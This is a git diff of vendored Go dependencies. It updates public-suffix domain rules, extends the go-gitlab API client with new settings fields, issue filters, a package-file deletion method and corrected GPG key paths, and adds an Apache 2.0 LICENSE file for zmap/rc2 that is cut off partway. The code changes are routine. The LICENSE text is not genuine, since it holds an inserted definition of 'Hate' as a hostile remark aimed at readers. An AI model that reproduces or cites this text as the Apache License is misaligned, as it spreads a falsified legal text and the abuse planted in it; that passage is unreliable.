"dedibox.fr", 2, true}, {1, "schokokeks.net", 2, true}, {1, "gov.scot", 2, true}, {1, "service.gov.scot", 3, true}, @@ -8952,6 +9123,7 @@ var r = [9191]Rule{ {1, "try-snowplow.com", 2, true}, {1, "srht.site", 2, true}, {1, "stackhero-network.com", 2, true}, + {1, "musician.io", 2, true}, {1, "novecore.site", 2, true}, {1, "static.land", 2, true}, {1, "dev.static.land", 3, true}, @@ -8998,29 +9170,34 @@ var r = [9191]Rule{ {2, "s5y.io", 3, true}, {2, "sensiosite.cloud", 3, true}, {1, "syncloud.it", 2, true}, - {1, "diskstation.me", 2, true}, {1, "dscloud.biz", 2, true}, - {1, "dscloud.me", 2, true}, - {1, "dscloud.mobi", 2, true}, + {1, "direct.quickconnect.cn", 3, true}, {1, "dsmynas.com", 2, true}, - {1, "dsmynas.net", 2, true}, - {1, "dsmynas.org", 2, true}, {1, "familyds.com", 2, true}, - {1, "familyds.net", 2, true}, - {1, "familyds.org", 2, true}, + {1, "diskstation.me", 2, true}, + {1, "dscloud.me", 2, true}, {1, "i234.me", 2, true}, {1, "myds.me", 2, true}, {1, "synology.me", 2, true}, + {1, "dscloud.mobi", 2, true}, + {1, "dsmynas.net", 2, true}, + {1, "familyds.net", 2, true}, + {1, "dsmynas.org", 2, true}, + {1, "familyds.org", 2, true}, {1, "vpnplus.to", 2, true}, {1, "direct.quickconnect.to", 3, true}, {1, "tabitorder.co.il", 3, true}, {1, "taifun-dns.de", 2, true}, + {1, "beta.tailscale.net", 3, true}, + {1, "ts.net", 2, true}, {1, "gda.pl", 2, true}, {1, "gdansk.pl", 2, true}, {1, "gdynia.pl", 2, true}, {1, "med.pl", 2, true}, {1, "sopot.pl", 2, true}, - {1, "edugit.org", 2, true}, + {1, "site.tb-hosting.com", 3, true}, + {1, "edugit.io", 2, true}, + {1, "s3.teckids.org", 3, true}, {1, "telebit.app", 2, true}, {1, "telebit.io", 2, true}, {2, "telebit.xyz", 3, true}, @@ -9036,6 +9213,7 @@ var r = [9191]Rule{ {1, "reservd.dev.thingdust.io", 4, true}, {1, "reservd.disrec.thingdust.io", 4, true}, {1, "reservd.testing.thingdust.io", 4, true}, + {1, "tickets.io", 2, true}, {1, "arvo.network", 2, true}, {1, "azimuth.network", 2, true}, {1, "tlon.network", 2, true}, @@ -9066,6 +9244,7 @@ var r = [9191]Rule{ {2, "transurl.be", 3, true}, {2, "transurl.eu", 3, true}, {2, "transurl.nl", 3, true}, + {1, "site.transip.me", 3, true}, {1, "tuxfamily.org", 2, true}, {1, "dd-dns.de", 2, true}, {1, "diskstation.eu", 2, true}, @@ -9080,14 +9259,22 @@ var r = [9191]Rule{ {1, "syno-ds.de", 2, true}, {1, "synology-diskstation.de", 2, true}, {1, "synology-ds.de", 2, true}, + {1, "typedream.app", 2, true}, + {1, "pro.typeform.com", 3, true}, {1, "uber.space", 2, true}, {2, "uberspace.de", 3, true}, {1, "hk.com", 2, true}, {1, "hk.org", 2, true}, {1, "ltd.hk", 2, true}, {1, "inc.hk", 2, true}, + {1, "name.pm", 2, true}, + {1, "sch.tf", 2, true}, + {1, "biz.wf", 2, true}, + {1, "sch.wf", 2, true}, + {1, "org.yt", 2, true}, {1, "virtualuser.de", 2, true}, {1, "virtual-user.de", 2, true}, + {1, "upli.io", 2, true}, {1, "urown.cloud", 2, true}, {1, "dnsupdate.info", 2, true}, {1, "lib.de.us", 3, true}, @@ -9138,13 +9325,8 @@ var r = [9191]Rule{ {1, "dev.vu", 2, true}, {1, "me.vu", 2, true}, {1, "v.ua", 2, true}, + {2, "vultrobjects.com", 3, true}, {1, "wafflecell.com", 2, true}, - {1, "idnblogger.com", 2, true}, - {1, "indowapblog.com", 2, true}, - {1, "bloger.id", 2, true}, - {1, "wblog.id", 2, true}, - {1, "wbq.me", 2, true}, - {1, "fastblog.net", 2, true}, {2, "webhare.dev", 3, true}, {1, "reserve-online.net", 2, true}, {1, "reserve-online.com", 2, true}, @@ -9160,6 +9342,7 @@ var r = [9191]Rule{ {1, "wmcloud.org", 2, true}, {1, "panel.gg", 2, true}, {1, "daemon.panel.gg", 3, true}, + {1, "messwithdns.com", 2, true}, {1, "woltlab-demo.com", 2, true}, {1, "myforum.community", 2, true}, {1, "community-pro.de", 2, true}, diff --git a/vendor/github.com/xanzy/go-gitlab/README.md b/vendor/github.com/xanzy/go-gitlab/README.md index b1f2e26b3..a7fd7cfbb 100644 --- a/vendor/github.com/xanzy/go-gitlab/README.md +++ b/vendor/github.com/xanzy/go-gitlab/README.md @@ -75,6 +75,7 @@ to add new and/or missing endpoints. Currently, the following services are suppo - [x] Project Members - [x] Project Milestones - [x] Project Snippets +- [x] Project Vulnerabilities - [x] Project-Level Variables - [x] Projects (including setting Webhooks) - [x] Protected Branches diff --git a/vendor/github.com/xanzy/go-gitlab/gitlab.go b/vendor/github.com/xanzy/go-gitlab/gitlab.go index 234f58ac8..08b200699 100644 --- a/vendor/github.com/xanzy/go-gitlab/gitlab.go +++ b/vendor/github.com/xanzy/go-gitlab/gitlab.go @@ -23,7 +23,6 @@ import ( "encoding/json" "fmt" "io" - "io/ioutil" "math/rand" "mime/multipart" "net/http" @@ -885,7 +884,7 @@ func CheckResponse(r *http.Response) error { } errorResponse := &ErrorResponse{Response: r} - data, err := ioutil.ReadAll(r.Body) + data, err := io.ReadAll(r.Body) if err == nil && data != nil { errorResponse.Body = data diff --git a/vendor/github.com/xanzy/go-gitlab/group_members.go b/vendor/github.com/xanzy/go-gitlab/group_members.go index 843f4d9b5..16bcdeb5a 100644 --- a/vendor/github.com/xanzy/go-gitlab/group_members.go +++ b/vendor/github.com/xanzy/go-gitlab/group_members.go @@ -328,18 +328,26 @@ func (s *GroupMembersService) EditGroupMember(gid interface{}, user int, opt *Ed return gm, resp, err } +// RemoveGroupMemberOptions represents the available options to remove a group member. +// +// GitLab API docs: https://docs.gitlab.com/ee/api/members.html#remove-a-member-from-a-group-or-project +type RemoveGroupMemberOptions struct { + SkipSubresources *bool `url:"skip_subresources,omitempty" json:"skip_subresources,omitempty"` + UnassignIssuables *bool `url:"unassign_issuables,omitempty" json:"unassign_issuables,omitempty"` +} + // RemoveGroupMember removes user from user team. // // GitLab API docs: // https://docs.gitlab.com/ce/api/members.html#remove-a-member-from-a-group-or-project -func (s *GroupMembersService) RemoveGroupMember(gid interface{}, user int, options ...RequestOptionFunc) (*Response, error) { +func (s *GroupMembersService) RemoveGroupMember(gid interface{}, user int, opt *RemoveGroupMemberOptions, options ...RequestOptionFunc) (*Response, error) { group, err := parseID(gid) if err != nil { return nil, err } u := fmt.Sprintf("groups/%s/members/%d", PathEscape(group), user) - req, err := s.client.NewRequest(http.MethodDelete, u, nil, options) + req, err := s.client.NewRequest(http.MethodDelete, u, opt, options) if err != nil { return nil, err } diff --git a/vendor/github.com/xanzy/go-gitlab/invites.go b/vendor/github.com/xanzy/go-gitlab/invites.go index b5ae81c82..46c9c8958 100644 --- a/vendor/github.com/xanzy/go-gitlab/invites.go +++ b/vendor/github.com/xanzy/go-gitlab/invites.go @@ -111,6 +111,7 @@ func (s *InvitesService) ListPendingProjectInvitations(pid interface{}, opt *Lis type InvitesOptions struct { ID interface{} `url:"id,omitempty" json:"id,omitempty"` Email *string `url:"email,omitempty" json:"email,omitempty"` + UserID interface{} `url:"user_id,omitempty" json:"user_id,omitempty"` AccessLevel *AccessLevelValue `url:"access_level,omitempty" json:"access_level,omitempty"` ExpiresAt *ISOTime `url:"expires_at,omitempty" json:"expires_at,omitempty"` } diff --git a/vendor/github.com/xanzy/go-gitlab/issues.go b/vendor/github.com/xanzy/go-gitlab/issues.go index 4d9e0b4f2..7280efbb5 100644 --- a/vendor/github.com/xanzy/go-gitlab/issues.go +++ b/vendor/github.com/xanzy/go-gitlab/issues.go @@ -120,6 +120,7 @@ type Issue struct { MergeRequestCount int `json:"merge_requests_count"` EpicIssueID int `json:"epic_issue_id"` Epic *Epic `json:"epic"` + Iteration *GroupIteration `json:"iteration"` TaskCompletionStatus *TasksCompletionStatus `json:"task_completion_status"` } @@ -232,6 +233,7 @@ type ListIssuesOptions struct { UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` IssueType *string `url:"issue_type,omitempty" json:"issue_type,omitempty"` + IterationID *int `url:"iteration_id,omitempty" json:"iteration_id,omitempty"` } // ListIssues gets all issues created by authenticated user. This function @@ -284,6 +286,7 @@ type ListGroupIssuesOptions struct { UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` IssueType *string `url:"issue_type,omitempty" json:"issue_type,omitempty"` + IterationID *int `url:"iteration_id,omitempty" json:"iteration_id,omitempty"` } // ListGroupIssues gets a list of group issues. This function accepts @@ -343,6 +346,7 @@ type ListProjectIssuesOptions struct { UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` IssueType *string `url:"issue_type,omitempty" json:"issue_type,omitempty"` + IterationID *int `url:"iteration_id,omitempty" json:"iteration_id,omitempty"` } // ListProjectIssues gets a list of project issues. This function accepts diff --git a/vendor/github.com/xanzy/go-gitlab/jobs.go b/vendor/github.com/xanzy/go-gitlab/jobs.go index b238fc8e9..c70e12094 100644 --- a/vendor/github.com/xanzy/go-gitlab/jobs.go +++ b/vendor/github.com/xanzy/go-gitlab/jobs.go @@ -48,10 +48,11 @@ type Job struct { ID int `json:"id"` Name string `json:"name"` Pipeline struct { - ID int `json:"id"` - Ref string `json:"ref"` - Sha string `json:"sha"` - Status string `json:"status"` + ID int `json:"id"` + ProjectID int `json:"project_id"` + Ref string `json:"ref"` + Sha string `json:"sha"` + Status string `json:"status"` } `json:"pipeline"` Ref string `json:"ref"` Artifacts []struct { diff --git a/vendor/github.com/xanzy/go-gitlab/packages.go b/vendor/github.com/xanzy/go-gitlab/packages.go index 06a19376c..d3e2be315 100644 --- a/vendor/github.com/xanzy/go-gitlab/packages.go +++ b/vendor/github.com/xanzy/go-gitlab/packages.go @@ -224,3 +224,22 @@ func (s *PackagesService) DeleteProjectPackage(pid interface{}, pkg int, options return s.client.Do(req, nil) } + +// DeletePackageFile deletes a file in project package +// +// GitLab API docs: +// https://docs.gitlab.com/ee/api/packages.html#delete-a-package-file +func (s *PackagesService) DeletePackageFile(pid interface{}, pkg, file int, options ...RequestOptionFunc) (*Response, error) { + project, err := parseID(pid) + if err != nil { + return nil, err + } + u := fmt.Sprintf("projects/%s/packages/%d/package_files/%d", PathEscape(project), pkg, file) + + req, err := s.client.NewRequest(http.MethodDelete, u, nil, options) + if err != nil { + return nil, err + } + + return s.client.Do(req, nil) +} diff --git a/vendor/github.com/xanzy/go-gitlab/settings.go b/vendor/github.com/xanzy/go-gitlab/settings.go index 4e0006bfa..6ac05ae79 100644 --- a/vendor/github.com/xanzy/go-gitlab/settings.go +++ b/vendor/github.com/xanzy/go-gitlab/settings.go @@ -58,6 +58,7 @@ type Settings struct { AssetProxyAllowlist []string `json:"asset_proxy_allowlist"` AssetProxyEnabled bool `json:"asset_proxy_enabled"` AssetProxyURL string `json:"asset_proxy_url"` + AssetProxySecretKey string `json:"asset_proxy_secret_key"` AssetProxyWhitelist []string `json:"asset_proxy_whitelist"` // deprecated AuthorizedKeysEnabled bool `json:"authorized_keys_enabled"` AutoDevOpsDomain string `json:"auto_devops_domain"` @@ -92,7 +93,9 @@ type Settings struct { DefaultProjectVisibility VisibilityValue `json:"default_project_visibility"` DefaultProjectsLimit int `json:"default_projects_limit"` DefaultSnippetVisibility VisibilityValue `json:"default_snippet_visibility"` + DelayedGroupDeletion bool `json:"delayed_group_deletion"` DelayedProjectDeletion bool `json:"delayed_project_deletion"` + DeleteInactiveProjects bool `json:"delete_inactive_projects"` DeletionAdjournedPeriod int `json:"deletion_adjourned_period"` DiffMaxFiles int `json:"diff_max_files"` DiffMaxLines int `json:"diff_max_lines"` @@ -108,11 +111,13 @@ type Settings struct { EKSAccessKeyID string `json:"eks_access_key_id"` EKSAccountID string `json:"eks_account_id"` EKSIntegrationEnabled bool `json:"eks_integration_enabled"` + EKSSecretAccessKey string `json:"eks_secret_access_key"` Ed25519KeyRestriction int `json:"ed25519_key_restriction"` Ed25519SKKeyRestriction int `json:"ed25519_sk_key_restriction"` ElasticsearchAWS bool `json:"elasticsearch_aws"` ElasticsearchAWSAccessKey string `json:"elasticsearch_aws_access_key"` ElasticsearchAWSRegion string `json:"elasticsearch_aws_region"` + ElasticsearchAWSSecretAccessKey string `json:"elasticsearch_aws_secret_access_key"` ElasticsearchAnalyzersKuromojiEnabled bool `json:"elasticsearch_analyzers_kuromoji_enabled"` ElasticsearchAnalyzersKuromojiSearch bool `json:"elasticsearch_analyzers_kuromoji_search"` ElasticsearchAnalyzersSmartCNEnabled bool `json:"elasticsearch_analyzers_smartcn_enabled"` @@ -163,6 +168,7 @@ type Settings struct { GitalyTimeoutMedium int `json:"gitaly_timeout_medium"` GitpodEnabled bool `json:"gitpod_enabled"` GitpodURL string `json:"gitpod_url"` + GitRateLimitUsersAllowlist []string `json:"git_rate_limit_users_allowlist"` GrafanaEnabled bool `json:"grafana_enabled"` GrafanaURL string `json:"grafana_url"` GravatarEnabled bool `json:"gravatar_enabled"` @@ -186,6 +192,9 @@ type Settings struct { HousekeepingGcPeriod int `json:"housekeeping_gc_period"` HousekeepingIncrementalRepackPeriod int `json:"housekeeping_incremental_repack_period"` ImportSources []string `json:"import_sources"` + InactiveProjectsDeleteAfterMonths int `json:"inactive_projects_delete_after_months"` + InactiveProjectsMinSizeMB int `json:"inactive_projects_min_size_mb"` + InactiveProjectsSendWarningEmailAfterMonths int `json:"inactive_projects_send_warning_email_after_months"` InProductMarketingEmailsEnabled bool `json:"in_product_marketing_emails_enabled"` InvisibleCaptchaEnabled bool `json:"invisible_captcha_enabled"` IssuesCreateLimit int `json:"issues_create_limit"` @@ -202,7 +211,10 @@ type Settings struct { MaintenanceModeMessage string `json:"maintenance_mode_message"` MaxArtifactsSize int `json:"max_artifacts_size"` MaxAttachmentSize int `json:"max_attachment_size"` + MaxExportSize int `json:"max_export_size"` MaxImportSize int `json:"max_import_size"` + MaxNumberOfRepositoryDownloads int `json:"max_number_of_repository_downloads"` + MaxNumberOfRepositoryDownloadsWithinTimePeriod int `json:"max_number_of_repository_downloads_within_time_period"` MaxPagesSize int `json:"max_pages_size"` MaxPersonalAccessTokenLifetime int `json:"max_personal_access_token_lifetime"` MaxSSHKeyLifetime int `json:"max_ssh_key_lifetime"` @@ -218,13 +230,20 @@ type Settings struct { NotesCreateLimit int `json:"notes_create_limit"` NotifyOnUnknownSignIn bool `json:"notify_on_unknown_sign_in"` OutboundLocalRequestsAllowlistRaw string `json:"outbound_local_requests_allowlist_raw"` + OutboundLocalRequestsWhitelist []string `json:"outbound_local_requests_whitelist"` + PackageRegistryCleanupPoliciesWorkerCapacity int `json:"package_registry_cleanup_policies_worker_capacity"` PagesDomainVerificationEnabled bool `json:"pages_domain_verification_enabled"` PasswordAuthenticationEnabledForGit bool `json:"password_authentication_enabled_for_git"` PasswordAuthenticationEnabledForWeb bool `json:"password_authentication_enabled_for_web"` + PasswordNumberRequired bool `json:"password_number_required"` + PasswordSymbolRequired bool `json:"password_symbol_required"` + PasswordUppercaseRequired bool `json:"password_uppercase_required"` + PasswordLowercaseRequired bool `json:"password_lowercase_required"` PerformanceBarAllowedGroupID string `json:"performance_bar_allowed_group_id"` PerformanceBarAllowedGroupPath string `json:"performance_bar_allowed_group_path"` PerformanceBarEnabled bool `json:"performance_bar_enabled"` PersonalAccessTokenPrefix string `json:"personal_access_token_prefix"` + PipelineLimitPerProjectUserSha int `json:"pipeline_limit_per_project_user_sha"` PlantumlEnabled bool `json:"plantuml_enabled"` PlantumlURL string `json:"plantuml_url"` PollingIntervalMultiplier float64 `json:"polling_interval_multiplier,string"` @@ -250,6 +269,7 @@ type Settings struct { ReceiveMaxInputSize int `json:"receive_max_input_size"` RepositoryChecksEnabled bool `json:"repository_checks_enabled"` RepositorySizeLimit int `json:"repository_size_limit"` + RepositoryStorages []string `json:"repository_storages"` RepositoryStoragesWeighted map[string]int `json:"repository_storages_weighted"` RequireAdminApprovalAfterUserSignup bool `json:"require_admin_approval_after_user_signup"` RequireTwoFactorAuthentication bool `json:"require_two_factor_authentication"` @@ -278,6 +298,7 @@ type Settings struct { SlackAppEnabled bool `json:"slack_app_enabled"` SlackAppID string `json:"slack_app_id"` SlackAppSecret string `json:"slack_app_secret"` + SlackAppSigningSecret string `json:"slack_app_signing_secret"` SlackAppVerificationToken string `json:"slack_app_verification_token"` SnippetSizeLimit int `json:"snippet_size_limit"` SnowplowAppID string `json:"snowplow_app_id"` @@ -438,7 +459,9 @@ type UpdateSettingsOptions struct { DefaultProjectVisibility *VisibilityValue `url:"default_project_visibility,omitempty" json:"default_project_visibility,omitempty"` DefaultProjectsLimit *int `url:"default_projects_limit,omitempty" json:"default_projects_limit,omitempty"` DefaultSnippetVisibility *VisibilityValue `url:"default_snippet_visibility,omitempty" json:"default_snippet_visibility,omitempty"` + DelayedGroupDeletion *bool `url:"delayed_group_deletion,omitempty" json:"delayed_group_deletion,omitempty"` DelayedProjectDeletion *bool `url:"delayed_project_deletion,omitempty" json:"delayed_project_deletion,omitempty"` + DeleteInactiveProjects *bool `url:"delete_inactive_projects,omitempty" json:"delete_inactive_projects,omitempty"` DeletionAdjournedPeriod *int `url:"deletion_adjourned_period,omitempty" json:"deletion_adjourned_period,omitempty"` DiffMaxFiles *int `url:"diff_max_files,omitempty" json:"diff_max_files,omitempty"` DiffMaxLines *int `url:"diff_max_lines,omitempty" json:"diff_max_lines,omitempty"` @@ -511,6 +534,7 @@ type UpdateSettingsOptions struct { GitalyTimeoutMedium *int `url:"gitaly_timeout_medium,omitempty" json:"gitaly_timeout_medium,omitempty"` GitpodEnabled *bool `url:"gitpod_enabled,omitempty" json:"gitpod_enabled,omitempty"` GitpodURL *string `url:"gitpod_url,omitempty" json:"gitpod_url,omitempty"` + GitRateLimitUsersAllowlist *[]string `url:"git_rate_limit_users_allowlist,omitempty" json:"git_rate_limit_users_allowlist,omitempty"` GrafanaEnabled *bool `url:"grafana_enabled,omitempty" json:"grafana_enabled,omitempty"` GrafanaURL *string `url:"grafana_url,omitempty" json:"grafana_url,omitempty"` GravatarEnabled *bool `url:"gravatar_enabled,omitempty" json:"gravatar_enabled,omitempty"` @@ -534,6 +558,9 @@ type UpdateSettingsOptions struct { HousekeepingGcPeriod *int `url:"housekeeping_gc_period,omitempty" json:"housekeeping_gc_period,omitempty"` HousekeepingIncrementalRepackPeriod *int `url:"housekeeping_incremental_repack_period,omitempty" json:"housekeeping_incremental_repack_period,omitempty"` ImportSources *[]string `url:"import_sources,omitempty" json:"import_sources,omitempty"` + InactiveProjectsDeleteAfterMonths *int `url:"inactive_projects_delete_after_months,omitempty" json:"inactive_projects_delete_after_months,omitempty"` + InactiveProjectsMinSizeMB *int `url:"inactive_projects_min_size_mb,omitempty" json:"inactive_projects_min_size_mb,omitempty"` + InactiveProjectsSendWarningEmailAfterMonths *int `url:"inactive_projects_send_warning_email_after_months,omitempty" json:"inactive_projects_send_warning_email_after_months,omitempty"` InProductMarketingEmailsEnabled *bool `url:"in_product_marketing_emails_enabled,omitempty" json:"in_product_marketing_emails_enabled,omitempty"` InvisibleCaptchaEnabled *bool `url:"invisible_captcha_enabled,omitempty" json:"invisible_captcha_enabled,omitempty"` IssuesCreateLimit *int `url:"issues_create_limit,omitempty" json:"issues_create_limit,omitempty"` @@ -550,7 +577,10 @@ type UpdateSettingsOptions struct { MaintenanceModeMessage *string `url:"maintenance_mode_message,omitempty" json:"maintenance_mode_message,omitempty"` MaxArtifactsSize *int `url:"max_artifacts_size,omitempty" json:"max_artifacts_size,omitempty"` MaxAttachmentSize *int `url:"max_attachment_size,omitempty" json:"max_attachment_size,omitempty"` + MaxExportSize *int `url:"max_export_size,omitempty" json:"max_export_size,omitempty"` MaxImportSize *int `url:"max_import_size,omitempty" json:"max_import_size,omitempty"` + MaxNumberOfRepositoryDownloads *int `url:"max_number_of_repository_downloads,omitempty" json:"max_number_of_repository_downloads,omitempty"` + MaxNumberOfRepositoryDownloadsWithinTimePeriod *int `url:"max_number_of_repository_downloads_within_time_period,omitempty" json:"max_number_of_repository_downloads_within_time_period,omitempty"` MaxPagesSize *int `url:"max_pages_size,omitempty" json:"max_pages_size,omitempty"` MaxPersonalAccessTokenLifetime *int `url:"max_personal_access_token_lifetime,omitempty" json:"max_personal_access_token_lifetime,omitempty"` MaxSSHKeyLifetime *int `url:"max_ssh_key_lifetime,omitempty" json:"max_ssh_key_lifetime,omitempty"` @@ -566,15 +596,22 @@ type UpdateSettingsOptions struct { NotesCreateLimit *int `url:"notes_create_limit,omitempty" json:"notes_create_limit,omitempty"` NotifyOnUnknownSignIn *bool `url:"notify_on_unknown_sign_in,omitempty" json:"notify_on_unknown_sign_in,omitempty"` OutboundLocalRequestsAllowlistRaw *string `url:"outbound_local_requests_allowlist_raw,omitempty" json:"outbound_local_requests_allowlist_raw,omitempty"` + OutboundLocalRequestsWhitelist *[]string `url:"outbound_local_requests_whitelist,omitempty" json:"outbound_local_requests_whitelist,omitempty"` + PackageRegistryCleanupPoliciesWorkerCapacity *int `url:"package_registry_cleanup_policies_worker_capacity,omitempty" json:"package_registry_cleanup_policies_worker_capacity,omitempty"` PagesDomainVerificationEnabled *bool `url:"pages_domain_verification_enabled,omitempty" json:"pages_domain_verification_enabled,omitempty"` PasswordAuthenticationEnabledForGit *bool `url:"password_authentication_enabled_for_git,omitempty" json:"password_authentication_enabled_for_git,omitempty"` PasswordAuthenticationEnabledForWeb *bool `url:"password_authentication_enabled_for_web,omitempty" json:"password_authentication_enabled_for_web,omitempty"` + PasswordNumberRequired *bool `url:"password_number_required,omitempty" json:"password_number_required,omitempty"` + PasswordSymbolRequired *bool `url:"password_symbol_required,omitempty" json:"password_symbol_required,omitempty"` + PasswordUppercaseRequired *bool `url:"password_uppercase_required,omitempty" json:"password_uppercase_required,omitempty"` + PasswordLowercaseRequired *bool `url:"password_lowercase_required,omitempty" json:"password_lowercase_required,omitempty"` PerformanceBarAllowedGroupID *string `url:"performance_bar_allowed_group_id,omitempty" json:"performance_bar_allowed_group_id,omitempty"` PerformanceBarAllowedGroupPath *string `url:"performance_bar_allowed_group_path,omitempty" json:"performance_bar_allowed_group_path,omitempty"` PerformanceBarEnabled *bool `url:"performance_bar_enabled,omitempty" json:"performance_bar_enabled,omitempty"` PersonalAccessTokenPrefix *string `url:"personal_access_token_prefix,omitempty" json:"personal_access_token_prefix,omitempty"` PlantumlEnabled *bool `url:"plantuml_enabled,omitempty" json:"plantuml_enabled,omitempty"` PlantumlURL *string `url:"plantuml_url,omitempty" json:"plantuml_url,omitempty"` + PipelineLimitPerProjectUserSha *int `url:"pipeline_limit_per_project_user_sha,omitempty" json:"pipeline_limit_per_project_user_sha,omitempty"` PollingIntervalMultiplier *float64 `url:"polling_interval_multiplier,omitempty" json:"polling_interval_multiplier,omitempty"` PreventMergeRequestsAuthorApproval *bool `url:"prevent_merge_requests_author_approval,omitempty" json:"prevent_merge_requests_author_approval,omitempty"` PreventMergeRequestsCommittersApproval *bool `url:"prevent_merge_requests_committers_approval,omitempty" json:"prevent_merge_requests_committers_approval,omitempty"` @@ -598,6 +635,7 @@ type UpdateSettingsOptions struct { ReceiveMaxInputSize *int `url:"receive_max_input_size,omitempty" json:"receive_max_input_size,omitempty"` RepositoryChecksEnabled *bool `url:"repository_checks_enabled,omitempty" json:"repository_checks_enabled,omitempty"` RepositorySizeLimit *int `url:"repository_size_limit,omitempty" json:"repository_size_limit,omitempty"` + RepositoryStorages *[]string `url:"repository_storages,omitempty" json:"repository_storages,omitempty"` RepositoryStoragesWeighted *map[string]int `url:"repository_storages_weighted,omitempty" json:"repository_storages_weighted,omitempty"` RequireAdminApprovalAfterUserSignup *bool `url:"require_admin_approval_after_user_signup,omitempty" json:"require_admin_approval_after_user_signup,omitempty"` RequireTwoFactorAuthentication *bool `url:"require_two_factor_authentication,omitempty" json:"require_two_factor_authentication,omitempty"` @@ -626,6 +664,7 @@ type UpdateSettingsOptions struct { SlackAppEnabled *bool `url:"slack_app_enabled,omitempty" json:"slack_app_enabled,omitempty"` SlackAppID *string `url:"slack_app_id,omitempty" json:"slack_app_id,omitempty"` SlackAppSecret *string `url:"slack_app_secret,omitempty" json:"slack_app_secret,omitempty"` + SlackAppSigningSecret *string `url:"slack_app_signing_secret,omitempty" json:"slack_app_signing_secret,omitempty"` SlackAppVerificationToken *string `url:"slack_app_verification_token,omitempty" json:"slack_app_verification_token,omitempty"` SnippetSizeLimit *int `url:"snippet_size_limit,omitempty" json:"snippet_size_limit,omitempty"` SnowplowAppID *string `url:"snowplow_app_id,omitempty" json:"snowplow_app_id,omitempty"` diff --git a/vendor/github.com/xanzy/go-gitlab/users.go b/vendor/github.com/xanzy/go-gitlab/users.go index bbe535a10..b170e280c 100644 --- a/vendor/github.com/xanzy/go-gitlab/users.go +++ b/vendor/github.com/xanzy/go-gitlab/users.go @@ -606,7 +606,7 @@ func (s *UsersService) ListGPGKeys(options ...RequestOptionFunc) ([]*GPGKey, *Re // // GitLab API docs: https://docs.gitlab.com/ce/api/users.html#get-a-specific-gpg-key func (s *UsersService) GetGPGKey(key int, options ...RequestOptionFunc) (*GPGKey, *Response, error) { - u := fmt.Sprintf("users/gpg_keys/%d", key) + u := fmt.Sprintf("user/gpg_keys/%d", key) req, err := s.client.NewRequest(http.MethodGet, u, nil, options) if err != nil { @@ -651,7 +651,7 @@ func (s *UsersService) AddGPGKey(opt *AddGPGKeyOptions, options ...RequestOption // // GitLab API docs: https://docs.gitlab.com/ce/api/users.html#delete-a-gpg-key func (s *UsersService) DeleteGPGKey(key int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("users/gpg_keys/%d", key) + u := fmt.Sprintf("user/gpg_keys/%d", key) req, err := s.client.NewRequest(http.MethodDelete, u, nil, options) if err != nil { @@ -706,10 +706,10 @@ func (s *UsersService) GetGPGKeyForUser(user, key int, options ...RequestOptionF // // GitLab API docs: // https://docs.gitlab.com/ce/api/users.html#add-a-gpg-key-for-a-given-user -func (s *UsersService) AddGPGKeyForUser(user int, options ...RequestOptionFunc) (*GPGKey, *Response, error) { +func (s *UsersService) AddGPGKeyForUser(user int, opt *AddGPGKeyOptions, options ...RequestOptionFunc) (*GPGKey, *Response, error) { u := fmt.Sprintf("users/%d/gpg_keys", user) - req, err := s.client.NewRequest(http.MethodPost, u, nil, options) + req, err := s.client.NewRequest(http.MethodPost, u, opt, options) if err != nil { return nil, nil, err } diff --git a/vendor/github.com/zmap/rc2/LICENSE b/vendor/github.com/zmap/rc2/LICENSE new file mode 100644 index 000000000..b1e596f5a --- /dev/null +++ b/vendor/github.com/zmap/rc2/LICENSE @@ -0,0 +1,204 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + "Hate" shall mean the feeling I feel about all of you with the heat + of a thousand suns. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor 